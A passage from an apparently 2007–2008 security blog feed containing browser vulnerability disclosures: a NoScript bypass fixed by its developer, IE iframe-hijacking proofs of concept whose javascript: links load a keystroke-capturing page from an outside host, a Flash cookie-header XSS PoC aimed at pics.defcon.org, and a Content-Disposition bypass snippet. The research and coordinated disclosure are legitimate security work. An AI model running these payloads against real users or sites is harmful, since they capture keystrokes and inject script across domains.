&lt;/div&gt; &lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;table width="100%" border="0" cellpadding="12" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;Forgot to tell, this is a bug for me (likely a regression), because I've got code in place to prevent exactly this sort of javascript:/data: url openings.&lt;br /&gt;Hence expect a fix build in a very short time.&lt;br /&gt;Thanks!&lt;div style="padding: 5px 0pt;"&gt;&lt;span style="color: rgb(136, 136, 136);font-size:78%;" &gt;[Quoted text hidden]&lt;/span&gt;&lt;/div&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;hr /&gt; &lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;&lt;b&gt; Giorgio Maone &lt;&gt; &lt;/b&gt;&lt;/span&gt; &lt;/td&gt; &lt;td align="right"&gt; &lt;span style=""&gt;&lt;b&gt; Sat, Jun 21, 2008 at 10:12 AM &lt;/b&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;span style=""&gt; &lt;div&gt; To: Eduardo Vela &lt;&gt; &lt;/div&gt; &lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;table width="100%" border="0" cellpadding="12" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;OK, I found the culprit.&lt;br /&gt;At a certain point in time I turned the default for the "noscript.forbidData" about:config preference to "false", in order to work-around a Firebug bug. It seemed a relatively innocuous change, considered also that about:blank is not in the default whitelist.&lt;br /&gt;Anyway, since the Firebug issue is obsolete and I'm much more worried of this kind of bypass, next build will restore the original "true" default.&lt;br /&gt;&lt;br /&gt;Thanks again&lt;br /&gt;--&lt;br /&gt;&lt;span style="color: rgb(136, 136, 136);"&gt;Giorgio&lt;/span&gt;&lt;div style="padding: 5px 0pt;"&gt;&lt;span style="color: rgb(136, 136, 136);font-size:78%;" &gt;[Quoted text hidden]&lt;/span&gt;&lt;/div&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;hr /&gt;  &lt;table width="100%" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;&lt;b&gt; Giorgio Maone &lt;giorgio.maone@gmail.com&gt; &lt;/giorgio.maone@gmail.com&gt;&lt;/b&gt;&lt;/span&gt; &lt;/td&gt; &lt;td align="right"&gt; &lt;span style=""&gt;&lt;b&gt; Sat, Jun 21, 2008 at 10:34 AM &lt;/b&gt;&lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;span style=""&gt; &lt;div&gt; To: Eduardo Vela &lt;sirdarckcat@gmail.com&gt; &lt;/sirdarckcat@gmail.com&gt;&lt;/div&gt; &lt;/span&gt; &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt; &lt;td colspan="2"&gt; &lt;table width="100%" border="0" cellpadding="12" cellspacing="0"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt; &lt;span style=""&gt;&lt;a href="http://noscript.net/getit#devel" target="_blank"&gt;Done&lt;/a&gt; :)&lt;br /&gt;Please wait for public release of 1.7 (in a week or even earlier) to disclose the details.&lt;div style="padding: 5px 0pt;"&gt;&lt;span style="color: rgb(136, 136, 136);font-size:78%;" &gt;[Quoted text hidden]&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/blockquote&gt;So, that's all, we are on 1.7.1 and this last bug was fixed on 1.6.9.8, so we are all safe =)&lt;br /&gt;&lt;br /&gt;Anyway, as it wil be soon explained, just blocking javascript, flash, and other plugins is not enough.. we have a sexy assassin uncaptured ;)&lt;br /&gt;&lt;br /&gt;Greetings!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-3939140144752168354?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vBfZq-qBjI6FVxuTv_04L3ESvoI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vBfZq-qBjI6FVxuTv_04L3ESvoI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vBfZq-qBjI6FVxuTv_04L3ESvoI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vBfZq-qBjI6FVxuTv_04L3ESvoI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/YC9xQLrBgrM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/3939140144752168354/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2008/06/hacking-noscript.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/3939140144752168354?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/3939140144752168354?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/YC9xQLrBgrM/hacking-noscript.html" title="Hacking NoScript" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2008/06/hacking-noscript.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEEDQnc4eyp7ImA9WxdTFk8.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-2985256678793343500</id><published>2008-05-12T15:55:00.003-05:00</published><updated>2008-05-12T16:11:13.933-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-05-12T16:11:13.933-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="iexporer" /><category scheme="http://www.blogger.com/atom/ns#" term="html" /><title>Ghosts for IE8 and IE7.5730</title><content type="html">Here's a new version of the last post code for hijacking IE6 and IE7 iframes.&lt;br /&gt;&lt;br /&gt;Aparently some versions of IE where fixed, (the code didnt worked for 40% of the people), so after downloading the newest IE7, I kept researching and found another issue.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return%20'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);"&gt;Sample PoC Here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This time the code will open a new window (hackademix.net), it will hijack one of the iframes, and capture keystrokes.&lt;br /&gt;&lt;br /&gt;It's the same idea as last time, but bypassing a weird protection.&lt;br /&gt;&lt;br /&gt;Greetz!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-2985256678793343500?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/nhIKNzD_6M8Os4PqaXXLGXB9Tvk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nhIKNzD_6M8Os4PqaXXLGXB9Tvk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/nhIKNzD_6M8Os4PqaXXLGXB9Tvk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nhIKNzD_6M8Os4PqaXXLGXB9Tvk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/BiXrViwx43M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/2985256678793343500/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/2985256678793343500?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/2985256678793343500?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/BiXrViwx43M/ghosts-for-ie8-and-ie75730.html" title="Ghosts for IE8 and IE7.5730" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUEESHwycCp7ImA9WxdTFk8.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-2524018151595755575</id><published>2008-05-11T00:05:00.010-05:00</published><updated>2008-05-12T16:26:49.298-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-05-12T16:26:49.298-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="iexporer" /><category scheme="http://www.blogger.com/atom/ns#" term="html" /><title>Browser's Ghost Busters</title><content type="html">Due to the news that there are a few &lt;a href="http://hackademix.net/2008/05/09/misterious-ghost-stories/"&gt;ghost busters&lt;/a&gt; on the wild, and &lt;a href="http://talkback.zdnet.com/5208-12691-0.html?forumID=1&amp;amp;threadID=47358&amp;amp;messageID=882431&amp;amp;start=0"&gt;no&lt;/a&gt; &lt;a href="http://kuza55.blogspot.com/"&gt;one&lt;/a&gt; is willing to tell us exactly what's the ghost about, I've been doing some research to find out proof that those ghosts exist.&lt;br /&gt;&lt;br /&gt;I'm talking about Manuel Caballero's talk  &lt;a href="http://technet.microsoft.com/en-us/security/cc405107.aspx#EHD" target="_blank" rel="nofollow external"&gt;A Resident in My Domain&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Lks4_cnABGU/SCaOmJkJqqI/AAAAAAAAAGE/OwRP7M25tHE/s1600-h/ghosts-exist.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_Lks4_cnABGU/SCaOmJkJqqI/AAAAAAAAAGE/OwRP7M25tHE/s320/ghosts-exist.JPG" alt="" id="BLOGGER_PHOTO_ID_5198999605899537058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;From &lt;a href="http://content.zdnet.com/2347-12691_22-200400-200433.html?seq=32"&gt;one of the pictures&lt;/a&gt; it tells us that there's some relation to iframes.. and also from &lt;a href="http://technet.microsoft.com/en-us/security/cc405107.aspx#EHD"&gt;the description of the talk&lt;/a&gt; it tells us that it is able to capture non-domain-privileged DOM attributes and methods ( if we could steal cookies, then the description would be a lot more apocalyptic ).. and well, we also know it is cross-domain..&lt;br /&gt;&lt;br /&gt;&lt;ol style="font-weight: bold;"&gt;&lt;li&gt;So, the first "fact" is that using the iframes on any website, you can capture top.location's and keystrokes (this is well known).&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;So, there's a way of modifying iframes on a window, on a domain is not ours.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;So, we need a way of getting a reference to a window.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;There are some ways of doing that:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;window.opener.window&lt;/li&gt;&lt;li&gt;open().window&lt;/li&gt;&lt;li&gt;frames[].window&lt;/li&gt;&lt;li&gt;top&lt;/li&gt;&lt;li&gt;parent&lt;/li&gt;&lt;li&gt;[maybe others I don't know]&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ol style="font-weight: bold;" start="4"&gt;&lt;li&gt;So, once we have that, we need a reference to the iframes.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;There's 2 ways I know of doing that&lt;br /&gt;&lt;ul&gt;&lt;li&gt;document.getElementsByTagName("iframe");&lt;/li&gt;&lt;li&gt;window.frames[];&lt;/li&gt;&lt;/ul&gt;And, so.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;getElementsByTagName fails (IE6, IE7, FF2, FF3, Safari 3).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;window.frames[] doesnt fail (IE6, IE7, FF2, FF3, Safari 3);&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;So we will use window.frames[] to access the iframes.&lt;br /&gt;&lt;br /&gt;Knowing that..&lt;br /&gt;&lt;br /&gt;&lt;ol style="font-weight: bold;" start="5"&gt;&lt;li&gt;We will try to modify the location of such frames.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;We have a few ways of doing that.&lt;br /&gt;&lt;br /&gt;Via&lt;br /&gt;&lt;ul&gt;&lt;li&gt;parent.open("new location","frame-name");&lt;/li&gt;&lt;li&gt;frame.location="new location";&lt;/li&gt;&lt;li&gt;frame.open("new location","_self");&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The modification of location of iframe's location work on windows inside frames on IE6, IE7, FF2, FF3 (go &lt;a href="http://images.google.com/imgres?imgurl=http://sla.ckers.org/images/slack.png&amp;amp;imgrefurl=http://sirdarckcat.blogspot.com/&amp;amp;h=300&amp;amp;w=400&amp;amp;sz=490&amp;amp;hl=es&amp;amp;start=32&amp;amp;um=1&amp;amp;tbnid=GnCpmSh_VEDO1M:&amp;amp;tbnh=93&amp;amp;tbnw=124&amp;amp;prev="&gt;here&lt;/a&gt; and then use &lt;a href="javascript:alert%28%22I%20have%20%22%2Bwindow.frames%5B1%5D.frames.length%2B%22%20iframes.%22%29%3Bwindow.frames%5B1%5D.frames%5B0%5D.location.href%3D%22about%3Ablank%22%3BsetTimeout%28function%28%29%7Bwindow.frames%5B1%5D.frames%5B0%5D.document.write%28%22%3Cbody%3E%3Cscript%3Ealert%28%27Iframe%20modified%2C%20please%20use%20your%20keys%20or%20something%27%29%3Bfunction%20hey%28e%29%7Bif%28%21e%29e%3Dwindow.event%3Balert%28%27captured%3A%20%27%2B%28e.keyCode%7C%7Ce.which%29%29%3B%7D%3BsetInterval%28function%28%29%7Bfocus%28%29%3B%7D%2C100%29%3Bdocument.onkeydown%3Dhey%3B%3C%2Fscript%3E%3C%2Fbody%3E%22%29%3B%7D%2C5000%29%3Balert%28%22Please%20wait%22%29%3B"&gt;this&lt;/a&gt; code) but we wont use a frame in a frame to get the reference to the window, since we cant detach a window from a frame, and so, it is not what the bug is about.&lt;br /&gt;&lt;br /&gt;Anyway, none of the mentioned method work for windows gotten from window.opener and open() on FF2 or FF3, but &lt;a href="javascript:x=open('http://sirdarckcat.blogspot.com/');y=setInterval(function(){try{x.frames[0].location='http://www.sirdarckcat.net/caballero-listener.html';clearInterval(y);}catch(e){}},500);void(1);"&gt;it does work on IE7 on windows gotten from open()&lt;/a&gt; and &lt;a href="http://www.sirdarckcat.net/caballero.html"&gt;from window.opener&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;ol style="font-weight: bold;" start="6"&gt;&lt;li&gt;&lt;span&gt;So so far, we have an exploit that only works on IE (6&amp;amp;7).&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;What do you say? is this the &lt;a href="http://en.wikipedia.org/wiki/Proton_pack"&gt;proton pack&lt;/a&gt; we were looking for?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Lks4_cnABGU/SCaVUZkJqrI/AAAAAAAAAGM/G3lLGmSbeRA/s1600-h/proton-pack.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_Lks4_cnABGU/SCaVUZkJqrI/AAAAAAAAAGM/G3lLGmSbeRA/s320/proton-pack.JPG" alt="" id="BLOGGER_PHOTO_ID_5199006997538253490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;For obvious reasons I wont disclose a IHE (Interactive Hacking Environment) as Caballero apparently has one, but I think this may be the bug, or some similar bug to the one he presented.&lt;br /&gt;&lt;br /&gt;Greetings!!&lt;br /&gt;&lt;br /&gt;PS. This doesn't work on IE8. thanks to &lt;a href="http://www.p42.us/"&gt;thornmaker&lt;/a&gt; for testing.&lt;br /&gt;PS2. There's a version that works on IE8 and all versions of IE7:&lt;br /&gt;&lt;a href="http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html"&gt;http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-2524018151595755575?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/bx-0-Sl02ivO5M8azAZ8JBSWMQI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/bx-0-Sl02ivO5M8azAZ8JBSWMQI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/bx-0-Sl02ivO5M8azAZ8JBSWMQI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/bx-0-Sl02ivO5M8azAZ8JBSWMQI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/nEsmYAKhIRE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/2524018151595755575/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/2524018151595755575?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/2524018151595755575?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/nEsmYAKhIRE/browsers-ghost-busters.html" title="Browser's Ghost Busters" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_Lks4_cnABGU/SCaOmJkJqqI/AAAAAAAAAGE/OwRP7M25tHE/s72-c/ghosts-exist.JPG" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEECRng8eip7ImA9WB9aE0U.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-2231610828300305571</id><published>2008-01-03T11:29:00.000-06:00</published><updated>2008-01-03T11:51:07.672-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-01-03T11:51:07.672-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="flash" /><category scheme="http://www.blogger.com/atom/ns#" term="opera" /><title>Exploiting XSS vulnerabilities on cookies</title><content type="html">Well, after talking with David Ross about the last post (bypassing content-disposition), I found out that it's exploitation wasn't as easy as it appears since IE has done some updates on the last couple of months.. so well.. sorry about that.&lt;br /&gt;&lt;br /&gt;Anyway, I guess it's time to say the world a little way of exploiting XSS  vulnerabilities that echoes the value of a cookie.&lt;br /&gt;&lt;br /&gt;This is based on majohn trick (setting headers via flash post), and well, I remembered about that when I saw kuza's talk.&lt;br /&gt;&lt;br /&gt;This is done via flash:&lt;br /&gt;&lt;pre class="code"&gt;&lt;br /&gt;class defconxss {&lt;br /&gt;static function main(mc) {&lt;br /&gt;  var req = new LoadVars();&lt;br /&gt;  req.addRequestHeader("Cookie:bblastactivity=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E", " ");&lt;br /&gt;  req["1"]="1";&lt;br /&gt;  req.send("https://pics.defcon.org/misc.php?action=cookies", "_self", "POST");&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This is a PoC for a XSS at &lt;a href="http://pics.defcon.org/"&gt;pics.defcon.org&lt;/a&gt; you can read more about it here: &lt;a href="http://whk.h4ck1ng.net/2007-12.22/xss-en-defconorg/"&gt;http://whk.h4ck1ng.net/2007-12.22/xss-en-defconorg/&lt;/a&gt; but it's on spanish.&lt;br /&gt;&lt;br /&gt;An important thing to say is that the cookies sent this way are not persistent by default, anyway, some codes make force them to be persistent.&lt;br /&gt;&lt;br /&gt;So this works for me with the latest player: &lt;a href="http://www.adobe.com/shockwave/download/"&gt;http://www.adobe.com/shockwave/download/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Anyway, internet explorer is not vulnerable.. damn..&lt;br /&gt;&lt;br /&gt;You can download &lt;a href="http://kuza55.blogspot.com/"&gt;kuza&lt;/a&gt;'s talk here: &lt;a href="http://outpost.h3q.com/fnord/24c3-torrents/24c3-2212-en-unusual_web_bugs.mp4.torrent"&gt;http://outpost.h3q.com/fnord/24c3-torrents/24c3-2212-en-unusual_web_bugs.mp4.torrent&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Greetz!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-2231610828300305571?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gZScrpxLZzmB6QOBZir8b4rAD6Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gZScrpxLZzmB6QOBZir8b4rAD6Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gZScrpxLZzmB6QOBZir8b4rAD6Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gZScrpxLZzmB6QOBZir8b4rAD6Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/Qx98HcteAJY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/2231610828300305571/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/2231610828300305571?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/2231610828300305571?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/Qx98HcteAJY/exploiting-xss-vulnerabilities-on.html" title="Exploiting XSS vulnerabilities on cookies" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QCRX06eip7ImA9WB9aEE4.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-8010336599575604493</id><published>2007-12-30T11:03:00.000-06:00</published><updated>2007-12-30T11:22:44.312-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-12-30T11:22:44.312-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="iexporer" /><title>Bypassing Content-Disposition: attachment for XSS on IE</title><content type="html">Well first of all I want to congrats my friend kuza55 because of his talk "Unusual Web Bugs" at 24c3, was a success.&lt;br /&gt;&lt;br /&gt;I watched it on the stream, and even do it dropped every 2 minutes, the audio was sort of constant, so I was able to hear it.&lt;br /&gt;&lt;br /&gt;So, it was awesome, and he used the stuff that was investigated and discovered lately, so that was a cutting edge talk.&lt;br /&gt;&lt;br /&gt;Anyway, I tried to make kuza receive a message for the Q&amp;amp;A, that wasn't able to arrive, when you say that the header &lt;span style="font-weight: bold;"&gt;Content-Disposition: attachment&lt;/span&gt; is a restriction that no one has been able to bypass, well it's bypassable, and I dunno why I didn't told you about this.. anyway..&lt;br /&gt;&lt;br /&gt;Suppose that http://www.victim.com/downloads.php?file=999 is a downloader that sends the header: &lt;span style="font-weight: bold;"&gt;Content-Disposition: attachment&lt;/span&gt;, then you can make IE to display the content as "the best guess", by caching it first, like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;script src="http://www.victim.com/downloads.php?file=999"&gt;&amp;lt;/script&gt;&lt;br /&gt;&amp;lt;iframe src="http://www.victim.com/downloads.php?file=999"&gt;&amp;lt;/iframe&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;The iframe will load the cached source, and it will show the best guess IE can make.&lt;br /&gt;&lt;br /&gt;I haven't tested this on firefox, sorry, but at least it works on IE 6 and 7.&lt;br /&gt;&lt;br /&gt;So, that's mostly all, just wanted to say that..&lt;br /&gt;&lt;br /&gt;Greetz!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-8010336599575604493?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/AmFTqFd7vYDV4nqS10mzLCURgKc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AmFTqFd7vYDV4nqS10mzLCURgKc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/AmFTqFd7vYDV4nqS10mzLCURgKc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/AmFTqFd7vYDV4nqS10mzLCURgKc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/iRqdTqChQdE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/8010336599575604493/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/12/bypassing-content-disposition.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8010336599575604493?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/8010336599575604493?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/iRqdTqChQdE/bypassing-content-disposition.html" title="Bypassing Content-Disposition: attachment for XSS on IE" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/12/bypassing-content-disposition.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYMSH0-fip7ImA9WxVQF0k.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-6793438962645490883</id><published>2007-12-24T17:02:00.001-06:00</published><updated>2009-02-04T04:43:09.356-06:00</updated><app:edited 